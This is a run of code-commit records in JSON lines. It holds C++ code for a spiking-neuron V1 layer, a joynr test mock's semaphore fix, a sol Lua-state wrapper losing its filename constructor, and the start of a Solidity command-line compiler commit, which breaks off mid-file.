p)\n{\n   float dt = .001 * parent->getDeltaTime();  \/\/ seconds\n\n   clayer->params = (float *) malloc(sizeof(*p));\n   assert(clayer->params != NULL);\n   memcpy(clayer->params, p, sizeof(*p));\n\n   clayer->numParams = sizeof(*p) \/ sizeof(float);\n   assert(clayer->numParams == 17);\n\n   LIFParams * cp = (LIFParams *) clayer->params;\n\n   if (params->present(name, \"Vrest\")) cp->Vrest = params->value(name, \"Vrest\");\n   if (params->present(name, \"Vexc\"))  cp->Vexc  = params->value(name, \"Vexc\");\n   if (params->present(name, \"Vinh\"))  cp->Vinh  = params->value(name, \"Vinh\");\n   if (params->present(name, \"VinhB\")) cp->VinhB = params->value(name, \"VinhB\");\n\n   if (params->present(name, \"tau\"))   cp->tau   = params->value(name, \"tau\");\n   if (params->present(name, \"tauE\"))  cp->tauE  = params->value(name, \"tauE\");\n   if (params->present(name, \"tauI\"))  cp->tauI  = params->value(name, \"tauI\");\n   if (params->present(name, \"tauIB\")) cp->tauIB = params->value(name, \"tauIB\");\n\n   if (params->present(name, \"VthRest\"))  cp->VthRest  = params->value(name, \"VthRest\");\n   if (params->present(name, \"tauVth\"))   cp->tauVth   = params->value(name, \"tauVth\");\n   if (params->present(name, \"deltaVth\")) cp->deltaVth = params->value(name, \"deltaVth\");\n\n   if (params->present(name, \"noiseAmpE\"))   cp->noiseAmpE   = params->value(name, \"noiseAmpE\");\n   if (params->present(name, \"noiseAmpI\"))   cp->noiseAmpI   = params->value(name, \"noiseAmpI\");\n   if (params->present(name, \"noiseAmpIB\"))  cp->noiseAmpIB  = params->value(name, \"noiseAmpIB\");\n\n   if (params->present(name, \"noiseFreqE\")) {\n      cp->noiseFreqE  = params->value(name, \"noiseFreqE\");\n      if (dt * cp->noiseFreqE > 1.0) cp->noiseFreqE = 1.0 \/ dt;\n   }\n   if (params->present(name, \"noiseFreqI\")) {\n      cp->noiseFreqI  = params->value(name, \"noiseFreqI\");\n      if (dt * cp->noiseFreqI > 1.0) cp->noiseFreqI = 1.0 \/ dt;\n   }\n   if (params->present(name, \"noiseFreqIB\")) {\n      cp->noiseFreqIB = params->value(name, \"noiseFreqIB\");\n      if (dt * cp->noiseFreqIB > 1.0) cp->noiseFreqIB = 1.0 \/ dt;\n   }\n\n   return 0;\n}\n\n#ifdef PV_USE_OPENCL\nint V1::updateStateOpenCL(float time, float dt)\n{\n   int status = CL_SUCCESS;\n\n   \/\/ setup and run kernel\n   \/\/ a. unmap the state variables so device can read and write\n   \/\/ b. pass state variables to kernel\n   \/\/ c. run kernel\n   \/\/ e. map the state variable for processing on CPU\n\n   const int nx = clayer->loc.nx;\n   const int ny = clayer->loc.ny;\n\n   updatestate_kernel->run(nx, ny, nxl, nyl);\n\n   return status;\n}\n#endif\n\nint V1::updateState(float time, float dt)\n{\n   PVParams * params = parent->parameters();\n\n   pv_debug_info(\"[%d]: V1::updateState:\", clayer->columnId);\n\n   int spikingFlag = (int) params->value(name, \"spikingFlag\", 1);\n\n   if (spikingFlag != 0) {\n#ifndef PV_USE_OPENCL\n      return LIF2_update_exact_linear(clayer, dt);\n#else\n      return updateStateOpenCL(time, dt);\n#endif\n   }\n\n   \/\/ just copy accumulation buffer to membrane potential\n   \/\/ and activity buffer (nonspiking)\n\n   updateV();\n   setActivity();\n   resetPhiBuffers();\n\n   return 0;\n}\n\nint V1::updateV() {\n   pvdata_t * V = getV();\n   pvdata_t ** phi = getCLayer()->phi;\n   pvdata_t * phiExc = phi[PHI_EXC];\n   pvdata_t * phiInh = phi[PHI_INH];\n   for( int k=0; k<getNumNeurons(); k++ ) {\n      V[k] = phiExc[k] - phiInh[k];\n#undef SET_MAX\n#ifdef SET_MAX\n      V[k] = V[k] > 1.0f ? 1.0f : V[k];\n#endif\n#undef SET_THRESH\n#ifdef SET_THRESH\n      V[k] = V[k] < 0.5f ? 0.0f : V[k];\n#endif\n   }\n   return EXIT_SUCCESS;\n}\n\nint V1::setActivity() {\n   const int nx = getLayerLoc()->nx;\n   const int ny = getLayerLoc()->ny;\n   const int nf = getCLayer()->numFeatures;\n   const int marginWidth = getLayerLoc()->nPad;\n   pvdata_t * activity = getCLayer()->activity->data;\n   pvdata_t * V = getV();\n   for( int k=0; k<getNumExtended(); k++ ) {\n      activity[k] = 0; \/\/ Would it be faster to only do the margins?\n   }\n   for( int k=0; k<getNumNeurons(); k++ ) {\n      int kex = kIndexExtended( k, nx, ny, nf, marginWidth );\n      activity[kex] = V[k];\n   }\n   return EXIT_SUCCESS;\n}\n\nint V1::resetPhiBuffers() {\n   pvdata_t ** phi = getCLayer()->phi;\n   int n = getNumNeurons();\n   resetBuffer( phi[PHI_EXC], n );\n   resetBuffer( phi[PHI_INH], n );\n   return EXIT_SUCCESS;\n}\n\nint V1::resetBuffer( pvdata_t * buf, int numItems ) {\n   for( int k=0; k<numItems; k++ ) buf[k] = 0.0;\n   return EXIT_SUCCESS;\n}\n\nint V1::writeState(const char * path, float time)\n{\n   HyPerLayer::writeState(path, time);\n\n#ifdef DEBUG_OUTPUT\n   \/\/ print activity at center of image\n\n   int sx = clayer->numFeatures;\n   int sy = sx*clayer->loc.nx;\n   pvdata_t * a = clayer->activity->data;\n\n   int n = (int) (sy*(clayer->loc.ny\/2 - 1) + sx*(clayer->loc.nx\/2));\n   for (int f = 0; f < clayer->numFeatures; f++) {\n      printf(\"f = %d, a[%d] = %f\\n\", f, n, a[n]);\n      n += 1;\n   }\n   printf(\"\\n\");\n\n   n = (int) (sy*(clayer->loc.ny\/2 - 1) + sx*(clayer->loc.nx\/2));\n   n -= 8;\n   for (int f = 0; f < clayer->numFeatures; f++) {\n      printf(\"f = %d, a[%d] = %f\\n\", f, n, a[n]);\n      n += 1;\n   }\n#endif\n\n   return 0;\n}\n\nint V1::findPostSynaptic(int dim, int maxSize, int col,\n\/\/ input: which layer, which neuron\n\t\tHyPerLayer *lSource, float pos[],\n\n\t\t\/\/ output: how many of our neurons are connected.\n\t\t\/\/ an array with their indices.\n\t\t\/\/ an array with their feature vectors.\n\t\tint* nNeurons, int nConnectedNeurons[], float *vPos)\n{\n\treturn 0;\n}\n\n} \/\/ namespace PV\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * #%L\n * %%\n * Copyright (C) 2011 - 2013 BMW Car IT GmbH\n * %%\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n * #L%\n *\/\n#include \"MockLocalCapabilitiesDirectoryCallback.h\"\n\n#include <thread>\n\nusing namespace joynr;\n\nMockLocalCapabilitiesDirectoryCallback::MockLocalCapabilitiesDirectoryCallback()\n    : ILocalCapabilitiesCallback(),\n      results(),\n      semaphore(0) {\n}\n\nvoid MockLocalCapabilitiesDirectoryCallback::capabilitiesReceived(std::vector<CapabilityEntry> capabilities) {\n    this->results = capabilities;\n    semaphore.notify();\n}\n\nstd::vector<CapabilityEntry> MockLocalCapabilitiesDirectoryCallback::getResults(int timeout) {\n    const int waitInterval = 20;\n    for (int i = 0; i < timeout; i += waitInterval) {\n        std::this_thread::sleep_for(std::chrono::milliseconds(waitInterval));\n        if (semaphore.waitFor()) {\n            semaphore.notify();\n            return results;\n        }\n    }\n\n    return results;\n}\n\nvoid MockLocalCapabilitiesDirectoryCallback::clearResults(){\n    semaphore.wait();\n    results.clear();\n}\n\nMockLocalCapabilitiesDirectoryCallback::~MockLocalCapabilitiesDirectoryCallback() {\n    results.clear();\n}\n<commit_msg>[C++] Make LocalCapabilitiesDirectoryTests more stable<commit_after>\/*\n * #%L\n * %%\n * Copyright (C) 2011 - 2013 BMW Car IT GmbH\n * %%\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n * #L%\n *\/\n#include \"MockLocalCapabilitiesDirectoryCallback.h\"\n\n#include <thread>\n\nusing namespace joynr;\n\nMockLocalCapabilitiesDirectoryCallback::MockLocalCapabilitiesDirectoryCallback()\n    : ILocalCapabilitiesCallback(),\n      results(),\n      semaphore(1) {\n    semaphore.wait();\n}\n\nvoid MockLocalCapabilitiesDirectoryCallback::capabilitiesReceived(std::vector<CapabilityEntry> capabilities) {\n    this->results = capabilities;\n    semaphore.notify();\n}\n\nstd::vector<CapabilityEntry> MockLocalCapabilitiesDirectoryCallback::getResults(int timeout) {\n    const int waitInterval = 20;\n    for (int i = 0; i < timeout; i += waitInterval) {\n        std::this_thread::sleep_for(std::chrono::milliseconds(waitInterval));\n        if (semaphore.waitFor()) {\n            semaphore.notify();\n            return results;\n        }\n    }\n\n    return results;\n}\n\nvoid MockLocalCapabilitiesDirectoryCallback::clearResults(){\n    semaphore.waitFor();\n    results.clear();\n}\n\nMockLocalCapabilitiesDirectoryCallback::~MockLocalCapabilitiesDirectoryCallback() {\n    results.clear();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ The MIT License (MIT)\r\n\r\n\/\/ Copyright (c) 2013 Danny Y., Rapptz\r\n\r\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy of\r\n\/\/ this software and associated documentation files (the \"Software\"), to deal in\r\n\/\/ the Software without restriction, including without limitation the rights to\r\n\/\/ use, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of\r\n\/\/ the Software, and to permit persons to whom the Software is furnished to do so,\r\n\/\/ subject to the following conditions:\r\n\r\n\/\/ The above copyright notice and this permission notice shall be included in all\r\n\/\/ copies or substantial portions of the Software.\r\n\r\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\r\n\/\/ FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\r\n\/\/ COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\r\n\/\/ IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\r\n\/\/ CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\r\n\r\n#ifndef SOL_STATE_HPP\r\n#define SOL_STATE_HPP\r\n\r\n#include \"error.hpp\"\r\n#include \"table.hpp\"\r\n#include <memory>\r\n\r\nnamespace sol {\r\nnamespace detail {\r\ntemplate<class T, class...>\r\nstruct are_same : std::true_type {};\r\n\r\ntemplate<class T, class U, class... Args>\r\nstruct are_same<T, U, Args...> : std::integral_constant<bool, std::is_same<T, U>::value && are_same<T, Args...>::value> {};\r\n\r\nint atpanic(lua_State* L) {\r\n    std::string err = lua_tostring(L, -1);\r\n    throw sol_error(err);\r\n}\r\n} \/\/ detail\r\n\r\nenum class lib : char {\r\n    base,\r\n    package,\r\n    coroutine,\r\n    string,\r\n    os,\r\n    math,\r\n    table,\r\n    debug,\r\n    bit32,\r\n    io,\r\n    count\r\n};\r\n\r\nclass state {\r\nprivate:\r\n    std::unique_ptr<lua_State, void(*)(lua_State*)> L;\r\n    table reg;\r\n    table global;\r\npublic:\r\n    state(): \r\n    L(luaL_newstate(), lua_close),  \r\n    reg(L.get(), LUA_REGISTRYINDEX), \r\n    global(reg.get<table>(LUA_RIDX_GLOBALS)) {\r\n        lua_atpanic(L.get(), detail::atpanic);\r\n    }\r\n\r\n    state(const std::string& filename): \r\n    L(luaL_newstate(), lua_close), \r\n    reg(L.get(), LUA_REGISTRYINDEX), \r\n    global(reg.get<table>(LUA_RIDX_GLOBALS)) {\r\n        lua_atpanic(L.get(), detail::atpanic);\r\n        open_file(filename);\r\n    }\r\n    \r\n    template<typename... Args>\r\n    void open_libraries(Args&&... args) {\r\n        static_assert(detail::are_same<lib, Args...>::value, \"all types must be libraries\");\r\n        if(sizeof...(args) == 0) {\r\n            luaL_openlibs(L.get());\r\n            return;\r\n        }\r\n\r\n        lib libraries[1 + sizeof...(args)] = { lib::count, std::forward<Args>(args)... };\r\n\r\n        for(auto&& library : libraries) {\r\n            switch(library) {\r\n            case lib::base:\r\n                luaL_requiref(L.get(), \"base\", luaopen_base, 1);\r\n                break;\r\n            case lib::package:\r\n                luaL_requiref(L.get(), \"package\", luaopen_package, 1);\r\n                break;\r\n            case lib::coroutine:\r\n                luaL_requiref(L.get(), \"coroutine\", luaopen_coroutine, 1);\r\n                break;\r\n            case lib::string:\r\n                luaL_requiref(L.get(), \"string\", luaopen_string, 1);\r\n                break;\r\n            case lib::table:\r\n                luaL_requiref(L.get(), \"table\", luaopen_table, 1);\r\n                break;\r\n            case lib::math:\r\n                luaL_requiref(L.get(), \"math\", luaopen_math, 1);\r\n                break;\r\n            case lib::bit32:\r\n                luaL_requiref(L.get(), \"bit32\", luaopen_bit32, 1);\r\n                break;\r\n            case lib::io:\r\n                luaL_requiref(L.get(), \"io\", luaopen_io, 1);\r\n                break;\r\n            case lib::os:\r\n                luaL_requiref(L.get(), \"os\", luaopen_os, 1);\r\n                break;\r\n            case lib::debug:\r\n                luaL_requiref(L.get(), \"debug\", luaopen_debug, 1);\r\n                break;\r\n            case lib::count:\r\n                break;\r\n            }\r\n        }\r\n    }\r\n\r\n    void script(const std::string& code) {\r\n        if(luaL_dostring(L.get(), code.c_str())) {\r\n            lua_error(L.get());\r\n        }\r\n    }\r\n\r\n    void open_file(const std::string& filename) {\r\n        if(luaL_dofile(L.get(), filename.c_str())) {\r\n            lua_error(L.get());\r\n        }\r\n    }\r\n\r\n    template<typename T, typename U>\r\n    T get(U&& key) const {\r\n        return global.get<T>(std::forward<U>(key));\r\n    }\r\n\r\n    template<typename T, typename U>\r\n    state& set(T&& key, U&& value) {\r\n        global.set(std::forward<T>(key), std::forward<U>(value));\r\n        return *this;\r\n    }\r\n\r\n    template<typename T, typename TFx>\r\n    state& set_function(T&& key, TFx&& fx) {\r\n        global.set_function(std::forward<T>(key), std::forward<TFx>(fx));\r\n        return *this;\r\n    }\r\n\r\n    template<typename T, typename TFx, typename TM>\r\n    state& set_function(T&& key, TFx&& fx, TM& mem) {\r\n        global.set_function(std::forward<T>(key), std::forward<TFx>(fx), mem);\r\n        return *this;\r\n    }\r\n\r\n    template<typename T>\r\n    table create_table(T&& key, int narr = 0, int nrec = 0) {\r\n        if(narr == 0 && nrec == 0) {\r\n            lua_newtable(L.get());\r\n        }\r\n        else {\r\n            lua_createtable(L.get(), narr, nrec);\r\n        }\r\n\r\n        table result(L.get());\r\n        lua_pop(L.get(), 1);\r\n        global.set(std::forward<T>(key), result);\r\n        return result;\r\n    }\r\n\r\n    table create_table(int narr = 0, int nrec = 0) {\r\n        if(narr == 0 && nrec == 0) {\r\n            lua_newtable(L.get());\r\n        }\r\n        else {\r\n            lua_createtable(L.get(), narr, nrec);\r\n        }\r\n\r\n        table result(L.get());\r\n        lua_pop(L.get(), 1);\r\n        return result;\r\n    }\r\n\r\n    table global_table() const {\r\n        return global;\r\n    }\r\n\r\n    table registry() const {\r\n        return reg;\r\n    }\r\n};\r\n} \/\/ sol\r\n\r\n#endif \/\/ SOL_STATE_HPP<commit_msg>Remove construction from a filename as it's pretty useless<commit_after>\/\/ The MIT License (MIT)\r\n\r\n\/\/ Copyright (c) 2013 Danny Y., Rapptz\r\n\r\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy of\r\n\/\/ this software and associated documentation files (the \"Software\"), to deal in\r\n\/\/ the Software without restriction, including without limitation the rights to\r\n\/\/ use, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of\r\n\/\/ the Software, and to permit persons to whom the Software is furnished to do so,\r\n\/\/ subject to the following conditions:\r\n\r\n\/\/ The above copyright notice and this permission notice shall be included in all\r\n\/\/ copies or substantial portions of the Software.\r\n\r\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\r\n\/\/ FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\r\n\/\/ COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\r\n\/\/ IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\r\n\/\/ CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\r\n\r\n#ifndef SOL_STATE_HPP\r\n#define SOL_STATE_HPP\r\n\r\n#include \"error.hpp\"\r\n#include \"table.hpp\"\r\n#include <memory>\r\n\r\nnamespace sol {\r\nnamespace detail {\r\ntemplate<class T, class...>\r\nstruct are_same : std::true_type {};\r\n\r\ntemplate<class T, class U, class... Args>\r\nstruct are_same<T, U, Args...> : std::integral_constant<bool, std::is_same<T, U>::value && are_same<T, Args...>::value> {};\r\n\r\nint atpanic(lua_State* L) {\r\n    std::string err = lua_tostring(L, -1);\r\n    throw sol_error(err);\r\n}\r\n} \/\/ detail\r\n\r\nenum class lib : char {\r\n    base,\r\n    package,\r\n    coroutine,\r\n    string,\r\n    os,\r\n    math,\r\n    table,\r\n    debug,\r\n    bit32,\r\n    io,\r\n    count\r\n};\r\n\r\nclass state {\r\nprivate:\r\n    std::unique_ptr<lua_State, void(*)(lua_State*)> L;\r\n    table reg;\r\n    table global;\r\npublic:\r\n    state(): \r\n    L(luaL_newstate(), lua_close),  \r\n    reg(L.get(), LUA_REGISTRYINDEX), \r\n    global(reg.get<table>(LUA_RIDX_GLOBALS)) {\r\n        lua_atpanic(L.get(), detail::atpanic);\r\n    }\r\n    \r\n    template<typename... Args>\r\n    void open_libraries(Args&&... args) {\r\n        static_assert(detail::are_same<lib, Args...>::value, \"all types must be libraries\");\r\n        if(sizeof...(args) == 0) {\r\n            luaL_openlibs(L.get());\r\n            return;\r\n        }\r\n\r\n        lib libraries[1 + sizeof...(args)] = { lib::count, std::forward<Args>(args)... };\r\n\r\n        for(auto&& library : libraries) {\r\n            switch(library) {\r\n            case lib::base:\r\n                luaL_requiref(L.get(), \"base\", luaopen_base, 1);\r\n                break;\r\n            case lib::package:\r\n                luaL_requiref(L.get(), \"package\", luaopen_package, 1);\r\n                break;\r\n            case lib::coroutine:\r\n                luaL_requiref(L.get(), \"coroutine\", luaopen_coroutine, 1);\r\n                break;\r\n            case lib::string:\r\n                luaL_requiref(L.get(), \"string\", luaopen_string, 1);\r\n                break;\r\n            case lib::table:\r\n                luaL_requiref(L.get(), \"table\", luaopen_table, 1);\r\n                break;\r\n            case lib::math:\r\n                luaL_requiref(L.get(), \"math\", luaopen_math, 1);\r\n                break;\r\n            case lib::bit32:\r\n                luaL_requiref(L.get(), \"bit32\", luaopen_bit32, 1);\r\n                break;\r\n            case lib::io:\r\n                luaL_requiref(L.get(), \"io\", luaopen_io, 1);\r\n                break;\r\n            case lib::os:\r\n                luaL_requiref(L.get(), \"os\", luaopen_os, 1);\r\n                break;\r\n            case lib::debug:\r\n                luaL_requiref(L.get(), \"debug\", luaopen_debug, 1);\r\n                break;\r\n            case lib::count:\r\n                break;\r\n            }\r\n        }\r\n    }\r\n\r\n    void script(const std::string& code) {\r\n        if(luaL_dostring(L.get(), code.c_str())) {\r\n            lua_error(L.get());\r\n        }\r\n    }\r\n\r\n    void open_file(const std::string& filename) {\r\n        if(luaL_dofile(L.get(), filename.c_str())) {\r\n            lua_error(L.get());\r\n        }\r\n    }\r\n\r\n    template<typename T, typename U>\r\n    T get(U&& key) const {\r\n        return global.get<T>(std::forward<U>(key));\r\n    }\r\n\r\n    template<typename T, typename U>\r\n    state& set(T&& key, U&& value) {\r\n        global.set(std::forward<T>(key), std::forward<U>(value));\r\n        return *this;\r\n    }\r\n\r\n    template<typename T, typename TFx>\r\n    state& set_function(T&& key, TFx&& fx) {\r\n        global.set_function(std::forward<T>(key), std::forward<TFx>(fx));\r\n        return *this;\r\n    }\r\n\r\n    template<typename T, typename TFx, typename TM>\r\n    state& set_function(T&& key, TFx&& fx, TM& mem) {\r\n        global.set_function(std::forward<T>(key), std::forward<TFx>(fx), mem);\r\n        return *this;\r\n    }\r\n\r\n    template<typename T>\r\n    table create_table(T&& key, int narr = 0, int nrec = 0) {\r\n        if(narr == 0 && nrec == 0) {\r\n            lua_newtable(L.get());\r\n        }\r\n        else {\r\n            lua_createtable(L.get(), narr, nrec);\r\n        }\r\n\r\n        table result(L.get());\r\n        lua_pop(L.get(), 1);\r\n        global.set(std::forward<T>(key), result);\r\n        return result;\r\n    }\r\n\r\n    table create_table(int narr = 0, int nrec = 0) {\r\n        if(narr == 0 && nrec == 0) {\r\n            lua_newtable(L.get());\r\n        }\r\n        else {\r\n            lua_createtable(L.get(), narr, nrec);\r\n        }\r\n\r\n        table result(L.get());\r\n        lua_pop(L.get(), 1);\r\n        return result;\r\n    }\r\n\r\n    table global_table() const {\r\n        return global;\r\n    }\r\n\r\n    table registry() const {\r\n        return reg;\r\n    }\r\n};\r\n} \/\/ sol\r\n\r\n#endif \/\/ SOL_STATE_HPP<|endoftext|>"}
{"text":"<commit_before>\/*\n\tThis file is part of cpp-ethereum.\n\n\tcpp-ethereum is free software: you can redistribute it and\/or modify\n\tit under the terms of the GNU General Public License as published by\n\tthe Free Software Foundation, either version 3 of the License, or\n\t(at your option) any later version.\n\n\tcpp-ethereum is distributed in the hope that it will be useful,\n\tbut WITHOUT ANY WARRANTY; without even the implied warranty of\n\tMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\tGNU General Public License for more details.\n\n\tYou should have received a copy of the GNU General Public License\n\talong with cpp-ethereum.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\/**\n * @author Christian <c@ethdev.com>\n * @date 2014\n * Solidity commandline compiler.\n *\/\n\n#include <string>\n#include <iostream>\n#include <fstream>\n\n#include <boost\/program_options.hpp>\n#include <boost\/filesystem.hpp>\n\n#include \"BuildInfo.h\"\n#include <libdevcore\/Common.h>\n#include <libdevcore\/CommonData.h>\n#include <libdevcore\/CommonIO.h>\n#include <libevmcore\/Instruction.h>\n#include <libsolidity\/Scanner.h>\n#include <libsolidity\/Parser.h>\n#include <libsolidity\/ASTPrinter.h>\n#include <libsolidity\/NameAndTypeResolver.h>\n#include <libsolidity\/Exceptions.h>\n#include <libsolidity\/CompilerStack.h>\n#include <libsolidity\/SourceReferenceFormatter.h>\n\nusing namespace std;\nusing namespace dev;\nusing namespace solidity;\nnamespace po = boost::program_options;\n\nvoid version()\n{\n\tcout << \"solc, the solidity complier commandline interface \" << dev::Version << endl\n\t\t << \"  by Christian <c@ethdev.com> and Lefteris <lefteris@ethdev.com>, (c) 2014.\" << endl\n\t\t << \"Build: \" << DEV_QUOTED(ETH_BUILD_PLATFORM) << \"\/\" << DEV_QUOTED(ETH_BUILD_TYPE) << endl;\n\texit(0);\n}\n\nenum class AstOutput\n{\n\tSTDOUT,\n\tFILE,\n\tBOTH\n};\n\nstd::istream& operator>>(std::istream& _in, AstOutput& io_output)\n{\n\tstd::string token;\n\t_in >> token;\n\tif (token == \"stdout\")\n\t\tio_output = AstOutput::STDOUT;\n\telse if (token == \"file\")\n\t\tio_output = AstOutput::FILE;\n\telse if (token == \"both\")\n\t\tio_output = AstOutput::BOTH;\n\telse\n\t\tthrow boost::program_options::invalid_option_value(token);\n\treturn _in;\n}\n\nint main(int argc, char** argv)\n{\n\t\/\/ Declare the supported options.\n\tpo::options_description desc(\"Allowed options\");\n\tdesc.add_options()\n\t(\"help\", \"Show help message and exit\")\n\t(\"version\", \"Show version and exit\")\n\t(\"optimize\", po::value<bool>()->default_value(false), \"Optimize bytecode for size\")\n\t(\"input-file\", po::value<vector<string>>(), \"input file\")\n\t(\"ast\", po::value<AstOutput>(),\n\t \"Request to output the AST of the contract. Legal values:\\n\"\n\t \"\\tstdout: Print it to standar output\\n\"\n\t \"\\tfile: Print it to a file with same name\\n\");\n\n\t\/\/ All positional options should be interpreted as input files\n\tpo::positional_options_description p;\n\tp.add(\"input-file\", -1);\n\n\t\/\/ parse the compiler arguments\n\tpo::variables_map vm;\n\ttry\n\t{\n\t\tpo::store(po::command_line_parser(argc, argv).options(desc).positional(p).allow_unregistered().run(), vm);\n\t}\n\tcatch (po::error const& exception)\n\t{\n\t\tcout << exception.what() << endl;\n\t\treturn -1;\n\t}\n\tpo::notify(vm);\n\n\tif (vm.count(\"help\")) {\n\t\tcout << desc;\n\t\treturn 0;\n\t}\n\n\tif (vm.count(\"version\")) {\n\t\tversion();\n\t\treturn 0;\n\t}\n\tmap<string, string> sourceCodes;\n\tif (!vm.count(\"input-file\"))\n\t{\n\t\tstring s;\n\t\twhile (!cin.eof())\n\t\t{\n\t\t\tgetline(cin, s);\n\t\t\tsourceCodes[\"<stdin>\"].append(s);\n\t\t}\n\t}\n\telse\n\t\tfor (string const& infile: vm[\"input-file\"].as<vector<string>>())\n\t\t\tsourceCodes[infile] = asString(dev::contents(infile));\n\n\tCompilerStack compiler;\n\ttry\n\t{\n\t\tfor (auto const& sourceCode: sourceCodes)\n\t\t\tcompiler.addSource(sourceCode.first, sourceCode.second);\n\t\tcompiler.compile( vm[\"optimize\"].as<bool>());\n\t}\n\tcatch (ParserError const& exception)\n\t{\n\t\tSourceReferenceFormatter::printExceptionInformation(cerr, exception, \"Parser error\", compiler);\n\t\treturn -1;\n\t}\n\tcatch (DeclarationError const& exception)\n\t{\n\t\tSourceReferenceFormatter::printExceptionInformation(cerr, exception, \"Declaration error\", compiler);\n\t\treturn -1;\n\t}\n\tcatch (TypeError const& exception)\n\t{\n\t\tSourceReferenceFormatter::printExceptionInformation(cerr, exception, \"Type error\", compiler);\n\t\treturn -1;\n\t}\n\tcatch (CompilerError const& exception)\n\t{\n\t\tSourceReferenceFormatter::printExceptionInformation(cerr, exception, \"Compiler error\", compiler);\n\t\treturn -1;\n\t}\n\tcatch (InternalCompilerError const& exception)\n\t{\n\t\tSourceReferenceFormatter::printExceptionInformation(cerr, exception, \"Internal compiler error\", compiler);\n\t\treturn -1;\n\t}\n\tcatch (Exception const& exception)\n\t{\n\t\tcerr << \"Exception during compilation: \" << boost::diagnostic_information(exception) << endl;\n\t\treturn -1;\n\t}\n\tcatch (...)\n\t{\n\t\tcerr << \"Unknown exception during compilation.\" << endl;\n\t\treturn -1;\n\t}\n\n\n\t\/\/ do we need AST output?\n\tif (vm.count(\"ast\"))\n\t{\n\t\tauto choice = vm[\"ast\"].as<AstOutput>();\n\t\tif (choice != AstOutput::FILE)\n\t\t{\n\t\t\tcout << \"Syntax trees:\" << endl << endl;\n\t\t\tfor (auto const& sourceCode: sourceCodes)\n\t\t\t{\n\t\t\t\tcout << endl << \"======= \" << sourceCode.first << \" =======\" << endl;\n\t\t\t\tASTPrinter printer(compiler.getAST(sourceCode.first), sourceCode.second);\n\t\t\t\tprinter.print(cout);\n\t\t\t}\n\t\t}\n\n\t\tif (choice != AstOutput::STDOUT)\n\t\t{\n\t\t\tfor (auto const& sourceCode: sourceCodes)\n\t\t\t{\n\t\t\t\tboost::filesystem::path p(sourceCode.first);\n\t\t\t\tofstream outFile(p.stem().string() + \".ast\");\n\t\t\t\tASTPrinter printer(compiler.getAST(sourceCode.first), sourceCode.second);\n\t\t\t\tprinter.print(outFile);\n\t\t\t\toutFile.close();\n\t\t\t}\n\t\t}\n\t}\n\n\n\tvector<string> contracts = compiler.getContractNames();\n\tcout << endl << \"Contracts:\" << endl;\n\tfor (string const& contract: contracts)\n\t{\n\t\tcout << endl << \"======= \" << contract << \" =======\" << endl\n\t\t\t << \"EVM assembly:\" << endl;\n\t\tcompiler.streamAssembly(cout, contract);\n\t\tcout << \"Opcodes:\" << endl\n\t\t\t << eth::disassemble(compiler.getBytecode(contract)) << endl\n\t\t\t << \"Binary: \" << toHex(compiler.getBytecode(contract)) << endl\n\t\t\t << \"Interface specification: \" << compiler.getJsonDocumentation(contract, DocumentationType::ABI_INTERFACE) << endl\n\t\t\t << \"Natspec user documentation: \" << compiler.getJsonDocumentation(contract, DocumentationType::NATSPEC_USER) << endl\n\t\t\t << \"Natspec developer documentation: \" << compiler.getJsonDocumentation(contract, DocumentationType::NATSPEC_DEV) << endl;\n\t}\n\n\treturn 0;\n}\n<commit_msg>Solc evm assembly to either file or stdout option<commit_after>\/*\n\tThis file is part of cpp-ethereum.\n\n\tcpp-ethereum is free software: you can redistribute it and\/or modify\n\tit under the terms of the GNU General Public License as published by\n\tthe Free Software Foundation, either version 3 of the License, or\n\t(at your option) any later version.\n\n\tcpp-ethereum is distributed in the hope that it will be useful,\n\tbut WITHOUT ANY WARRANTY; without even the implied warranty of\n\tMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\tGNU General Public License for more details.\n\n\tYou should have received a copy of the GNU General Public License\n\talong with cpp-ethereum.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\/**\n * @author Christian <c@ethdev.com>\n * @date 2014\n * Solidity commandline compiler.\n *\/\n\n#include <string>\n#include <iostream>\n#include 